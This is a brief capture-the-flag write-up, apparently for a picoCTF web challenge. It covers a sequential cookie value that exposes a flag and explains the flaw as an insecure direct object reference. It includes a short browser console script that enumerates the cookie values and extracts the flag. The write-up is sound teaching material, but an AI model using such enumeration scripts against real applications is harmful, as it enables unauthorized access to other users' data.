Cookies — Sequential Cookie Enumeration

Vulnerability Overview

The application used a sequential integer cookie (name=0 through name=28) to look up and display content, with the flag hidden behind one of these IDs and no authorization check on which ID a given user could access. An attacker could enumerate all values trivially.

Exploitation

Manual enumeration of 28 values was unnecessary. A short browser console script automated the process:

async function findFlag() {
  for (let i = 0; i <= 28; i++) {
    document.cookie = "name=" + i + "; path=/";
    const r = await fetch("/", { credentials: "include" });
    const text = await r.text();
    if (text.includes("picoCTF")) {
      console.log("FLAG at cookie value " + i);
      console.log(text.match(/picoCTF{.*?}/)[0]);
      break;
    }
  }
}
findFlag();

Cookie value 18 returned the flag.

Root Cause

The server returned flag content based solely on a numeric cookie value with no verification that the requesting user was authorized to access that particular resource. This is a direct instance of Insecure Direct Object Reference (IDOR) — a predictable identifier with no access control enforcement.